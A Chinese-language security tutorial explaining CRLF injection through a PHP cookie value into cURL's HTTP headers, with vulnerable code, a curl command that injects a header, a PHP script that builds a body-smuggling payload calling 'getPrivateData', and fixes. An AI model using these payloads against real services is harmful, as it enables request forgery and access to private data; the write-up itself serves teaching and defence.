CRLF Injection Into PHP’s cURL Options
字数 1179 2025-08-27 12:33:54
CRLF注入攻击与PHP cURL选项漏洞详解
漏洞概述
CRLF(回车换行)注入是一种通过注入特殊字符(回车符%0d和换行符%0a)来控制HTTP请求结构的攻击技术。在PHP的cURL选项中,当用户可控数据未经适当处理就直接用于设置HTTP头部时,攻击者可以利用此漏洞注入任意HTTP头部甚至修改请求体。
漏洞发现背景
作者在审查PHP代码时发现了一个处理"试用组"的函数:
function getTrialGroups() {
$trialGroups = 'default';
if (isset($_COOKIE['trialGroups'])) {
$trialGroups = $_COOKIE['trialGroups'];
}
return explode(",", $trialGroups);
}
该函数从cookie中读取以逗号分隔的试用组列表,但缺乏输入验证和白名单机制。
漏洞利用场景
在以下代码中,试用组数据被直接用于设置cURL的HTTP头部:
$ch = curl_init("http://httpbin.org/post");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
"Content-Type: application/json",
"X-Trial-Groups: " . implode(",", getTrialGroups())
]);
由于没有对CRLF字符进行过滤,攻击者可以注入任意HTTP头部。
攻击演示
基本头部注入
通过cookie注入额外的HTTP头部:
curl -s localhost:1234 -b 'trialGroups=A1,B2%0d%0aX-Injected:%20true'
这会在请求中添加X-Injected: true头部。
HTTP请求结构分析
一个基本的HTTP POST请求结构:
POST /post HTTP/1.1
Host: httpbin.org
Connection: close
Content-Length: 7
thedata
关键点:
- 请求行(方法、路径、协议版本)
- 头部字段(每个头部以CRLF结尾)
- 空行(仅包含CRLF,分隔头部和主体)
- 请求主体
高级利用:请求体注入
通过精心构造的CRLF注入,不仅可以添加头部,还可以完全控制请求体:
- 构造恶意JSON数据:
{"method": "getPrivateData", "params": []} - 计算其长度(42字节)
- 注入Content-Length头部和双CRLF来分隔主体
生成攻击payload的PHP脚本:
$postData = '{"method": "getPrivateData", "params": []}';
$length = strlen($postData);
$payload = "ignore\r\nContent-Length: {$length}\r\n\r\n{$postData}";
echo "trialGroups=" . urlencode($payload);
执行攻击:
curl -s localhost:1234 -b $(php gencookie.php)
结果会忽略原始JSON数据,转而使用注入的恶意JSON。
易受攻击的cURL选项
除了CURLOPT_HTTPHEADER外,以下cURL选项也存在类似风险:
CURLOPT_HEADER- 设置请求头部CURLOPT_COOKIE- 设置Cookie头部CURLOPT_RANGE- 设置Range头部CURLOPT_REFERER- 设置Referer头部CURLOPT_USERAGENT- 设置User-Agent头部CURLOPT_PROXYHEADER- 设置代理头部
防御措施
- 输入验证:对所有用户提供的头部值进行严格验证
- CRLF过滤:移除或转义所有
\r、\n字符 - 白名单机制:只允许预定义的、安全的试用组值
- 编码处理:对动态生成的头部值进行URL编码或HTML实体编码
- 使用安全函数:如PHP的
header()函数会自动防止CRLF注入
修复示例
function getTrialGroups() {
$trialGroups = 'default';
if (isset($_COOKIE['trialGroups'])) {
// 只允许字母数字和逗号
$trialGroups = preg_replace('/[^a-zA-Z0-9,]/', '', $_COOKIE['trialGroups']);
}
return explode(",", $trialGroups);
}
总结
CRLF注入到PHP cURL选项是一个严重的安全漏洞,允许攻击者:
- 注入任意HTTP头部
- 篡改请求体内容
- 可能绕过安全控制
- 执行各种HTTP请求走私攻击
开发人员应始终验证和清理所有用户提供的、用于构建HTTP请求的数据,特别是当这些数据用于设置敏感的cURL选项时。